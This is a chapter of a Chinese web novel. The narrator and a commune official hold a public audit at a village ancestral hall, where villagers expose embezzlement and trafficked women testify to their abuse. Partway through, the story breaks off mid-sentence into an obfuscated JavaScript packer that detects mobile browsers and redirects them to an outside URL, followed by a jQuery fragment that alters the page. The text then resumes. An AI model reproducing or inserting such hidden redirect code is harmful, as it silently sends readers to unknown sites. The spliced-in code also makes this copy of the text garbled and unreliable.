88. 第88章
作品:《谁在点睛》 村里很快传开消息:白濯心要在祠堂门口,公开对账。
那天一早,祠堂门口的空地上就聚满了人。男女老少,交头接耳。
我在祠堂门口摆了一张旧桌子,桌上摊开着账册。张泰德站在我身侧,手里拿着厚厚的抄录本。
日头升高,人越聚越多。我看见了那些熟悉的面孔,也看见了另一些面孔,他们聚在人群边缘,眼神阴冷。
时候到了。
我深吸一口气,走上前。所有的交谈声瞬间低了下去,无数道目光落在我身上。
“今天请大家来,是要算一笔账。”我开口,声音不大,但在寂静的空地上传得很清楚,“一笔张兴村十几年来的亏空账。”
人群骚动起来。
“账本在这里。”我指向桌上的册子,“一笔一笔,都记得清楚。哪些粮食对不上数,哪些布匹不翼而飞,哪些人的名字凭空消失。今天,我们一样一样对,一样一样问。”
“你凭什么对账!”人群突兀地炸出一个声音,是以前妥协留村的男子,他涨红了脸,“族老们都不在,轮得到你一个外姓女人在这里指手画脚?”
也许是时间长了,也许是族老们蛰伏在村搞的手脚起了作用,曾经被迫抹去面子,丢下尊严的这群人又开始了蠢蠢欲动。
“就凭这些账,是张兴村所有人的账!”我没看他,看向了人群,提高声音,“粮食是大家种出来的,布是大家织出来的,名字是活生生的人!凭什么不能对?凭什么不能问?”
“对!凭什么不能问!”李寡妇突然从人群里站出来,“我们就应该问!五年前发救济粮,我家该领三十斤粗粮,凭什么只给了二十斤?少的那十斤,进了谁的粮缸?”
人群一片哗然。
“还有我!”王婶也站了出来,她瘦小的身子在发抖,“我侄女,前年登记的是‘病故’,可之前她明明活蹦乱跳的,怎么到晚上人就没了?棺材都不让看就埋了!我今天就要问,她到底是怎么死的!”
“我也有话要说……”
“我家也是……”
一个,两个,三个……那些憋了太久的话,像决堤的洪水,冲破了沉默的堤坝。渐渐地,人群里开始有人附和,有人低头抹泪,有人攥紧了拳头。
边缘那些阴冷的目光开始慌了,他们试图打断,试图呵斥,可声音被更大的声浪淹没。
“安静!都安静!”有人厉声喝止。
一个四十多岁的汉子,带着几个人挤开人群,走到最前面,脸色铁青。
“祠堂门口,吵吵嚷嚷像什么话!”他瞪着我,又瞪向张泰德,“张同志,你是上头派来帮忙的,不是来煽风点火的!这些陈年旧账,翻出来有什么意思?搅得村里鸡犬不宁,对你有什么好处?”
张泰德向前一步,挡在我身前。
“陈年旧账,也是账。”他看着那人,声音平稳清晰,“账不清楚,人心就不稳。人心不稳,村子就永远好不了。”
“你……”
“更何况!”张泰德打断他,举起手里的抄录本,“这些不是旧账。粮食亏空,布匹短缺,这些是盗窃,是贪污。人口登记不清,有人不明不白地消失,这些可能涉及人命。这些事,不该查吗?”
“你血口喷人!”
“是不是血口喷人,账本上写得明明白白。”张泰德翻开册子,朗声念道每一条记录,很精准就找到了那汉子有关的信息。
“……前年冬天,发放土布五十匹,实际记录三十匹,二十匹以‘保管不善霉烂’为由核销。当时管仓库的,是你堂兄,对吧?”
“你、你胡说……”
“我是不是胡说,可以请当时领布的人出来对质。”张泰德转向人群,“前年领过土布的,站到左边。没领到的,站到右边。”
人群静了一瞬,然后开始移动。渐渐地,右边站了黑压压的一片,左边却寥寥无几。
事实,不言而喻。
那汉子额上渗出冷汗,他后退一步,眼神慌乱地四下张望,想找援手。可那些原本和他站在一起的人,此刻都别开了脸,悄悄往人群里缩。
“还有人口册。”张泰德又翻过一页,他的声音在寂静中格外清晰,“这一页,有撕毁又粘合的痕迹。被撕掉的名字……”
他顿了顿,看向人群。
“被抹去的,有的可能是被逼死的……有的是被拐卖给了其他偏远的村子……他们在想尽办法,抹去她们在村子里的存在。”
“你胡说八道!”有人厉声嘶吼,可声音已经虚了。
“我是不是胡说,你们心里清楚!”
“我来告诉你们,他是不是胡说!”春梅领着哑女,走出了人群。
她转过身,看着团结一致的姑娘们,眼神特别坚定:“我们是被拐卖进村的女人,我们当中也有认识的亲人、朋友被拐卖去了其他的村子。”
她撩起自己的袖子,露出手臂上几道深褐色的旧疤:“这都是我不肯盲从娘家,不屈就夫家的证据!仅仅一袋粮食,几匹布匹,就将我们卖了!”
“卖不出价,还说我们是赔钱货。卖了一次,还有第二次,第三次!直到我们的名字彻底从本上消失,再也找不到我们!”
她紧紧握住了哑女的手:“她说不出话,我今天就来替她说。她不是天生的哑巴,是被卖那年,她不肯,一直哭闹。村里的人牙子嫌她吵,每天巴掌扇在她耳朵上,给打聋了。聋了,自然就哑了。”
“我们已经赶走了那些人,我们努力想让村子变得更好,但总有人为了利益不择手段。”我并肩同她们站在一起,看向前方,“赶走了还不算,要彻底改变才能让这里变成真正的家。”
人群里,很多人开始低下头,肩膀微微颤抖。
几阵沉默后,细碎的、压抑的呜咽声,从人群各处响起来。那不是无助的难过,是憋了太久、忍了太久,终于能喘一口气的释放。
我知道,时候到了。
“账,今天大家都看到了。”我开口,声音有些哑,“粮食的亏空,布匹的短缺,还有这些不明不白的人,每一笔,我们都会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289653|190971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重新整理成册。从前,族老们利用职责之便将大家了分了三六九等,如今他们该还的还,该赔的赔,该偿的……也得偿。”
我看向那些缩在人群边缘的人:“你们有什么话,现在可以说。过了今天,就等着跟公家的人说吧。”
没有人说话,只有风吹过祠堂檐角挂着的破旧铃铛,发出空洞的呜咽。
人群开始慢慢散去,他们走的时候很慢,低着头,彼此之间没有交谈。但有什么东西,已经不一样了。
阳光从云层后透出,照在祠堂斑驳的墙壁上。
张泰德收起账册,转过身看我,他额上绵着细密的汗。
“累了?”他问。
“有点。”
“回去歇歇。”他说,“后面的事,还多着呢。”
我们并肩往回走,朱阿绣和那几个人跟在我们身后,脚步都比来时轻快了些。路过井边时,我看见早上还躲着我们,立场不太坚定的村人,抬头看见我们,愣了一下,随即低下头,脸上通红。
但我看见,他们的头微微有些幅度,像是在颔首。
回到住处,院子里只剩下我和张泰德。
我打了盆水,拧了毛巾递给他。他接过,胡乱擦了把脸,然后在我身边坐下。我们都累得说不出话,只是静静看着院墙里种着的槐树,开出一小片脆弱的白。
“今天谢谢你。”良久,我才开口。
“谢我什么?”
“谢你……”我想了想,“谢你信那些话,信那些在别人看来,可能是陈年旧账、无事生非的话。”
张泰德转过头看我,他的侧脸很清晰。
“我不是信那些话。”他说,“我是信说那些话的人,他们活了大半辈子,忍了大半辈子,如果不是真过不去心里那道坎,不会在这个时候站出来。”
他顿了顿,声音低下去:“人活着,总要信点什么。信天理,信公道,或者……信身边这个人,不会眼睁睁看着别人掉进火坑,还嫌他烧起来的烟呛了鼻子。”
我心里某个地方,被轻轻撞了一下。
“那你信什么?”我问。
“我信事在人为。”他说,“也信这世上,总有些东西,比怕死更重要。”
一阵风吹过,槐花轻轻摇曳。有那么一瞬间,我几乎要以为,这场仗,我们就要打赢了。
“白濯心。”他忽然叫我的名字。
“嗯?”
“如果……”他斟酌着字句,说得有些慢,“如果有一天,我不在你身边了,你也要像今天这样。该算的账,要算清楚。该讨的公道,一寸都不能让。”
我失笑:“你说什么呢,你是公社的人,等村子的事理顺了,自然要调走的。难不成还能一辈子待在张兴村?”
他没笑,只是看着我,眼神很深,深得让我心头莫名一慌。
“是啊。”他最终转开视线,望向远处青灰色的山峦,“我总不能,一辈子待在这儿。”
“但现在。”他的声音故意压的很低,“我不会让任何人,动你。”

